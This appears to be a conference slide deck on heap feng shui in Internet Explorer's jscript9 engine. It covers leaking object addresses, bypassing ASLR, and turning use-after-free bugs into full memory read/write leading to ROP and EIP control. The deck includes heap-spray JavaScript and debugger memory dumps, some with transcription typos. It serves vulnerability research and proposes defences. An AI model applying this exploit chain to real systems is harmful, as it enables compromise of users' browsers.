The Art of Leaks: The Return of Heap Feng Shui

Ga1ois
@NSFOCUS Security Labs
Agenda

• Who am I
• Abstract
• Background
• Heap Feng Shui in jscript9
• UAF->Arbitrary Address Write
• Summary
• Q&A
Who am I

• Security researcher @NSFOCUS Security Labs since April/2011
  – The security of browser and flash player
  – Vulnerability discovery
  – Exploit technique
  – APT/0 day attacks detection

• ga1ois@weibo&twitter; heyoungart@gmail.com

• http://hi.baidu.com/ga1ois
Abstract

Using the vulnerability of allocating the large heap without randomness, we can leak any object address allocated in jscript9 custom heap, and bypass ASLR in Internet Explorer on Windows 7/8/8.1.
Background

IE OBA (Out of Bounds Access) vulnerability

Timeline:
• Attack: Pwn2own 2010 exploit @WTFuzz
• Defense: MicroSoft kill BSTR allocated by substr/substring in jscript9
• Attack: Find other BSTR path to complete heap layout
  – Using BSTR in jscript(@yuange1975) and in vbscript(@K33n Team)
  – Using Element Attribute in cve-2013-0003(@VUPEN)
• Defense ?
Background

IE UAF (Use After Free) vulnerability Timeline:

• ASLR Bypass Apocalypse in Recent Zero-Day Exploits – Xiaobo Chen/ @FireEye
  – Flash vector

• A browser is only as strong as its weakest byte – Part 2 - Peter Vreugdenhil / @WTFuzz
  – Element Attribute (0x80000) allocated in custom heap

• Exploiting Internet Explorer 11 64-bit on Windows 8.1 Preview – Ivan Fratric/ @Google
  – P2 = [p1 + 0x0FFFFFFFF8]; inc [p2 + offset]
  – Spray array pointer and Inc the capacity of array

• Problem not solved
  – Crash from UAF to Arbitrary Address Write
  – Arbitrary Address Write opcode is not inc [address]
  – Write what?
Why I was here?
Why I was here?

• Alignment problem in custom heap in jscript9
  – IE ArrayData in jscript9 has the alignment problem when I did research in the process of writing the exploit of IE GC infoleak vulnerability in Aug/2013.
  – To counter the exploit technique of OBA, some important object(string/array/typed array) management structure is allocated in custom heap.

• The bad guys Peter and Ivan😊
Heap Feng Shui in jscript9

Memory structure of array in Jscript
Var a = new Array(0x3d00) //0x3d00 * 4 = 0xf400 aligned 0x10000
array object allocated in process heap in jscript

Three-step-index: ArrayObj(003bd730) →
CIndexedNameList(003bda80) →ArrayDataList(034c3718) →
ArrayData[i]

0:008> !heap -p -a 003bd730
  address 003be3d8 found in
  _HEAP @ 3b0000
  HEAP_ENTRY Size Prev Flags  UserPtr UserSize - state
    003bd728 0009 0000  [01]  003bd730  0003c - (busy)
    jscript!ArrayObj::`vftable'

003bd730 633a3250 00000000 003bda80 003bc028
003bd740 003bc898 003bc8a8 00000000 00000000
003bd750 6339a7dc 003bb338 00000000 00000000
003bd760 003bd730 63420740 00003d00
Red: ArrayObj vtable
Blue: CIndexedNameList
Yellow: Array Count
Heap Feng Shui in jscript9

Memory structure of array in Jscript
CindexedNameList: Contain some pointers and first 8 ArrayData[i]

0:017> !heap -p -a 003bda80
  address 003bda80 found in
   _HEAP @ 3b0000
    HEAP_ENTRY Size Prev Flags   UserPtr UserSize - state
   003bda78 0041 0000 [01] 003bda80 00200 - (busy)
   jsrcript!CIndexedNameList::`vtable`
0:017> dc 003bda80 L200/4
003bda80  6338bea0 00003d00 00000000 00000000 ..8c=.........
003bda90  00000000 00000000 0000100 00040000 ............@.
003bdab0  00000040 00000000 00000000a 003bdac0  @...............;
003bdac0  0010101 00000000 00000002 00000001 ..............
003bdad0  00000007 00000008 00000009 00000000 ..............
003bdae0  00000000 00000000 034c3718 00000800 ........7L....
003bda3f0  00000003 00000008 035177c8 00002100 ........wQ...!
003bdb00  00004000 0000100 00004000 00000000 .@........@
003bdb10  00000003 40000000 41414141 0000006c ......@AAAAA!
003bdb20  00000000 00000000 00000001 00000000 ..............

Red: CIndexedNameList vtable;  Blue: Array Count;  Yellow: ArrayDataList
Heap Feng Shui in jscript9

Memory structure of array in Jscript
ArrayDataList: one unit store 8 Arraydata(0x20*8=0x100)

```plaintext
0:017> !heap -p -a 034c3718
   address 034c3718 found in
   _HEAP @ 3b0000
   HEAP_ENTRY Size Prev Flags   UserPtr UserSize - state
   034c3710 0801 0000 [01] 034c3718 040000 - (busy)
   ? <Unloaded_ud.drv>+3bdb0f
ArrayDataList
034c3718 003bdb10 00000008 003bdefc 00000008
034c3728 003bdfcc 00000008 003be10c 00000008
034c3738 003be20c 00000008 003be30c 00000008
034c3748 003be40c 00000008 034602d4 00000008
034c3758 034603d4 00000008 034604d4 00000008
034c3768 034605d4 00000008 034606d4 00000008
...
ArrayData[0]
003bdb10 00000003 40000000 41414141 0000006c .......@AAAAAl...
003bdb20 00000000 00000000 00000001 00000000 ............... 
ArrayData[1]
...
```
Heap Feng Shui in jscript9

Why array in jscript don’t have alignment problem?
• All objects (data and management structure) are allocated in process heap and randomized at every allocation.
• Big alignment data is sliced into pieces (0x204, 0x404, 0x804, 0x1004, 0x2004, 0x4004) referenced by ArrayDataList and allocated in process heap.
• Process heap insert the random size block when allocating the same size big block many times, and avoid the problem of big alignment heap block linear increasing.
Heap Feng Shui in jscript9

Memory structure of array in Jscript9
Var a = new Array(0x3bf8)  //0x3bf8 * 4 = 0xefe0 + 0x20(head) = 0xf000
array object allocated in IE custom heap in jscript9

One-step-index: ArrayObj(03a9e120) → ArrayData(0d380010)
Heap Feng Shui in jscript9

Memory structure of array in Jscript9
Var a = new Array(0x3bf8) //0x3bf8 * 4 = 0xfe0 + 0x20(head) = 0xf000
ArrayData object also allocated in IE custom heap in jscript9

Red: ArrayObj Size
Blue: Array Count
Yellow: ArrayData[i] //the codec data or a pointer to a object
Heap Feng Shui in jscript9

Memory map of ArrayData in Jscript9
Var a = new Array(0x3bf8) //allocate many times
ArrayData object allocated in IE custom heap has the aligned problem
Why array in jscript9 have aligned problem?
ArrayData object allocated in IE custom heap, and IE custom heap is not randomized!
The stack trace of allocating the ArrayData

```
0:003> kpn
  # ChildEBP RetAddr
00 02758de4 6bc0f77e kernel32!VirtualAllocStub
01 02758e04 6bc0f731 jscript9!Segment::Initialize+0x37
02 02758e1c 6bc0f6cf jscript9!PageAllocator::AllocPageSegment+0x34
03 02758e2c 6bc0f6a7 jscript9!PageAllocator::AddPageSegment+0x14
04 02758e48 6bcc9b70 jscript9!PageAllocator::SnailAllocPages+0x3d
05 02758e60 6bcc9c0a jscript9!PageAllocator::AllocPages+0x3d
06 02758e78 6bc0fcba jscript9!PageAllocator::Alloc+0x1d
07 02758ea4 6bc0fef1 jscript9!LargeHeapBucket::AddLargeHeapBlock+0x5d
08 02758ebc 6bc03802 jscript9!Js::SparseArraySegment<void *>::Allocate+0x131
09 02758f04 6bd0a0b jscript9!Js::SparseArraySegment<void *>::Allocate+0x131
0b 02758f1c 6bc03802 jscript9!Js::SparseArraySegment<void *>::AllocateSegment+0x4d
0c 02758f78 6bd08f9 jscript9!Js::JavascriptArray::AllocateHead<void *>+0x2c
0d 02759004 6bc0aaec jscript9!Js::JavascriptOperators::OP_SetElementI+0xc3
0e 02759024 01ff529a jscript9!Js::JavascriptOperators::OP_SetElementI_JIT+0x27
```
Why array in jscript9 have aligned problem?
The disassembly code of jscript9!Segment::Initialize function
Why array in jscript9 have aligned problem?
The return address(0x0d3b0000[size:0x20000]) of VirtualAlloc is linear increasing and directly stored in PageSegment structure. ArrayData(size:0x10000) use half size of block 0x0d3b0000 per allocation and the IE custom heap don’t randomize the heap address.

0:003> !heap -p -a 00dd7198
   address 00dd7198 found in
   _HEAP @ 430000
       HEAP_ENTRY Size Prev Flags   UserPtr UserSize - state
       00dd7188 0007 0000   [00] 00dd7190 00030 - (busy)

0:003> dc 00dd7198 L30/4
00dd7198 6bbc98f0 00000000 0d3b0000 00000020 ...k.......; ...
00dd71a8 00000000 00d29ea0 ffffffff 00000000 .................
00dd71b8 00000020 00000000 25c82bad 80000000 ........+.%....

0:003> ln 6bbc98f0
(6bbc98f0) jscript9!PageSegment::'vftable' | (6bbc98f4)
jscript9!HeapPageAllocator::'vftable'
Exact matches:
    jscript9!PageSegment::'vftable' = <no type information>
    jscript9!Segment::'vftable' = <no type information>
Red: LPAdress; Blue: Codec Size //<<12, 0x20<<12 = 0x20000
Heap Feng Shui in jsScript9

We can leak any object address allocated in jsScript9 custom heap!
Heap Feng Shui in jscript9

How do we leak any object address allocated in jscript9 custom heap? Why 0x3bf8?

0x10000 = 0x1000 + 0xefe0 + 0x20 =
Int32ArraySize(0x30)*0x55 + 0x10(align) + 0x3bf8*4 + 0x20(ArrayDataHead)

```javascript
while(k < 0x400) //80M
{
    heaparr[k] = new Array(0x3bf8);
    for(var index = 0; index < 0x55; index++)
    {
        heaparr[k][index] = new Int32Array(int32buf);
    }
    k += 1;
}
```

Red: what ever object address(allocated in jscript9 custom heap) you want to leak
Blue: loop count //leave 0x1000 size to store the leaked object; object_size * loop_count = 0x1000
Heap Feng Shui in jscrip9

<table>
<thead>
<tr>
<th>Memory map per 0x10000</th>
</tr>
</thead>
</table>

Leak the object address at xxxxf000(example: 0x0c0af000)
Heap Feng Shui in jscript9

Leak what?
Management structure of string/array/typed array?
Heap Feng Shui in jscript9

I leak **int32Array** at address **0x0c0af000**.

```
int32Array
0c0af000 6ca2b480 02a95300 00000000 00000000
0c0af010 00000004 00000000 0000001a 0251b280
0c0af020 0291d0e0 00000000 00000000 00000000

Red: int32Array vtable
Blue: int32Array Count
Yellow: int32Array Buffer(user control)

int32Array Buffer
0251b280 00000000 00000000 00000000 00000000
0251b290 00000000 00000000 00000000 00000000
0251b2a0 00000000 00000000 00000000 00000000
0251b2b0 00000000 00000000 00000000 00000000
0251b2c0 00000000 00000000 00000000 00000000
0251b2d0 00000000 00000000 00000000 00000000
0251b2e0 00000000 00000000
```
Why we leak the address of `int32Array`?

- Write **only one byte** to get the capacity of read and write the `int32` after the `Int32ArrayBuffer` heap.

- We can control the size of `int32ArrayBuffer` allocated in jscript9 process heap.
  - `Var int32Arrbuf = new ArrayBuffer(0x68);`
Heap Feng Shui in jscript9

Write one byte -> read/write the whole process memory.
Read/write what?
LargeHeapBlock is allocated in jscript9 process heap.(0x68/ie11, 0x58/ie10)

0:003> !heap -p -a 06f1e218
  address 06f1e218 found in
  _HEAP @ 430000
  HEAP_ENTRY Size Prev Flags   UserPtr UserSize - state
  06f1e210 000e 0000  [00] 06f1e218  00068 - (busy)
  jscript9!LargeHeapBlock::`vftable'

0:003> dc 06f1e218 L68/4
06f1e218 6bbc99f8 06430000 00d9cf58 00000003 ...k..C.X.......
06f1e228 00000010 00000001 00000004 0643f020 ........... .C.
06f1e238 06440000 06f1e288 00000000 00000000 ..D............
06f1e248 00000000 00000000 00000000 06f1e218 ................
06f1e258 00000010 00000001 00000000 00000000 ................
06f1e268 06430000 00000001 00000001 00000000 00000000 ...........
06f1e278 00000004 00000001 ........

Red: LargeHeapBlock vtable; Blue: a pointer to itself
Heap Feng Shui in jscript9

Write one byte -> read/write the whole process memory.
Read/write what?
Heaplayout int32ArrayBuffer between largeHeapBlock to read the vtable and the address of largeHeapBlock.

```javascript
while(k < 0x200)
{
    //the size 0x3c00 can lead to the allocation of largeHeapBlock
    heaparr[k] = new Array(0x3c00);
    if(k == 0x80)
    {
        //insert the ArrayBuffer when loop 0x80
        int32buf = new ArrayBuffer(0x68); //0x68
    }
    for(var index = 0; index < 0x3c00; index++)
    {
        //spray arbitrary data needed
        heaparr[k][index] = 0x41424344;
    }
    k += 1;
}
```
Heap Feng Shui in jscript9

Heap layout of Int32ArrayBuffer and LargeHeapBlock
Heap Feng Shui in jsrcript9

Write one byte -> read/write the whole process memory

Now we have:
• The leaked int32Array address 0x0c0af000.
• The address of int32ArrayBuffer.
  – addr_int32ArrBuf = addr_LHB(0x06f1e218) – 0x68(int32ArrSize) – 0x8(LFHhead) = 0x06F1E1A8

And we can:
• Read/write the content of absolute address beyond the int32ArrayBuffer address (0x06F1E1A8)
  – HeapArr[j][k][(0x0c0aff00 - addr_int32ArrBuf) / 4]
Heap Feng Shui in jscript9

Write one byte -> read/write the whole process memory

Modify the second int32Array’s count and buffer using the first modified int32Array(0x0c0af000).

Read/write the whole process memory using the second int32Array(0x0c0aff00).

```plaintext
int32Array
0c0aff00 6ca2b480 02a95300 00000000 00000000
0c0aff10 00000004 00000000 0000001a 0251b280
0c0aff20 0291d0e0 00000000 00000000 00000000

Red: int32Array vtable
Blue: int32Array Count
Yellow: int32Array Buffer(user control)
//read/write the memory from 0x00000000 to 0x80000000(0x20000000*4)
```
The capacity of reading and writing the whole process memory is a nuclear weapon!

Now we have the capacity of reading and writing the whole process memory!

This is a nuclear weapon in the bypass - all exploit technology at the countermeasure times.

JIT leak + ROPing?

Overwrite something interesting?

Something else you can imagine…
Heap Feng Shui in jscript9

JIT “Leak + ROP”? 
Overwrite something interesting? 
Something else you can imagine…
Heap Feng Shui in jscript9

I choose the old and usual one: leak + rop

• Read vtable of one of int32Array/LargeHeapBlock to leak the base address of jscript9 and ntdll.

• Write some junk above the first modified Int32Array to heaplayout rop and shellcode.

• Write vtable of int32Array to control EIP.
Heap Feng Shui in jscript9

The whole process of exploit:

• Heaplayout Int32ArrayBuffer and LargeHeapBlock.
• Leak the address of Int32Array.
• Get the capacity of reading/writing the relative address of int32ArrayBuffer.(UAF->AAW)
• Reading/writing the absolute address beyond int32ArrayBuffer.
• Reading/writing the whole process memory.
• Leak + ROP or something else…
UAF -> Arbitrary Address Write

• UAF->Arbitrary address write is important.
  – If we can transfer a UAF to arbitrary address write, we can read/write the whole process memory.

• How we can transfer a UAF to arbitrary address write?
  – Type confusion.
    • Controlling the argument of Use function(in UAF) by taking room of the freed object using the user-controlled data and change the execution route to the write-opcode
      – inc [address] OR mov/add/or [address], reg/constant
UAF -> Arbitrary Address Write

• Some relative work in UAF->arbitrary address write
  – A browser is only as strong as its weakest byte – Part 1 - Peter Vreugdenhil / @WTFuzz
  – The info leak era on software exploitation - Fermin J. Serna / @Google

• Difficulty in UAF->arbitrary address write
  – Virtual call lead to crash in the transfer process
  – Javascript control after Arbitrary Address Write
UAF -> Arbitrary Address Write

Virtual call lead to crash in the transfer process
eax points to a fake object overwritten by user-controlled data
eax = 0x12121212 or ->0x12121212

mov ecx, [eax] <- eax points to the object and the vtable_ptr gets dereferenced
call dword ptr [ecx+offset] <- call a virtual function of the object

Type confuse the crashed virtual call to int32Array virtual call
Set eax = 0x0c0af000

int32Array
0c0af000 6ca2b480 02a95300 00000000 00000000
0c0af010 00000004 00000000 0000001a 0251b280
0c0af020 0291d0e0 00000000 00000000 00000000

mov ecx, [eax] <- eax points to int32Array
call dword ptr [ecx+offset] <- call a virtual function of int32Array no crash
UAF -> Arbitrary Address Write

• Crash after Arbitrary Address Write sometimes
  – Access exception caused by tainting of the user-controlled data in the freed object
• Javascript control after Arbitrary Address Write
  – Create the dead loop and make Use function not return forever --- No Crash.
  – Using javascript multi-thread.
UAF -> Arbitrary Address Write

- Javascript multi-thread
  - Parent html:
    ```javascript
    window.open('child.html','t2','height=400,width=400,top=10,left=10');
    ```
  - Child html:
    ```javascript
    setTimeout('window.opener.LeakAndControlEip();', 5000);
    ```
Summary

• Good news 😊
  😊Work on most of UAF
  😊One bypass all generally and stably

• Bad news 😞
  😞Not work in js(cript(<=IE8))
Summary

• Essence
  – The address of some object management structure can be pre-estimated.
  – The important member of some object management structure can be modified.

• Defense
  – Randomize IE custom heap and slice the big-size management structure(element-attribute) into small pieces.
  – Make the important member of some object management structure cookied.

• Efficiency VS Security
Q&A

@ga1ois

heyoungart@gmail.com